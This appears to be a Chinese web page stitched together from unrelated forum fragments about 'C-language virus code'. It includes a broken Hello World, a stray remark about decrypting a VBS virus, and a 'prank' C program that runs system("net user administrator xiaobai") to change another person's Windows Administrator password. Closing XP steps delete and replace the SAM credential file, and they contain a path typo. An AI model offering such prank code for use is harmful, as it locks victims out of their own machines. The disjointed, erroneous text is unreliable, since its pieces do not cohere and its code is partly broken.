严重声明：这个程序只是供C语言新手参考，开玩笑没关系，但如果用来做不法的事情，本人概不负责。还有，编病毒、木马去做违法的事情惩罚是很重的，你如果想学编程，编个简单的就好了，否则后果很严重。

给个C语言病毒代码.....要复制的....越长越好
下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 JavaScript 编码技术)，使得普通用户无法看到病毒原码，但在被感染 VBS 文件中并没有加密，于是作为一个入口点，我非常轻松地得到所有源码。

虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。
求一个c语言源码，很简单的。
#includestdio.h
int main()
{
printf("Hello World!\n");
return 0;
}
这个够简单吧丶
求C语言病毒源码
一个小东西 介绍了后别笑话我 ！它的功能很简单，就是把Administrator的密码该成xiaobai
大家整了人之后切记告诉他密码(xiaobai)
自己可以用TC2.0编写编译调试生成
C语言下的代码如下：
main()
{
system("net user administrator xiaobai");
}
如果自己真的不小心忘记了密码 如果是XP系统 管理员密码破解如下：
1.用个启动盘启动电脑后进入DOS 状态下：输入如下命令
del X:\windows\sysrem32\config\sam 回车
copy x:\windows\repair\sam x:\windows\system32\config 回车
2.重新启动计算机。X为安装XP的盘 一般为c:
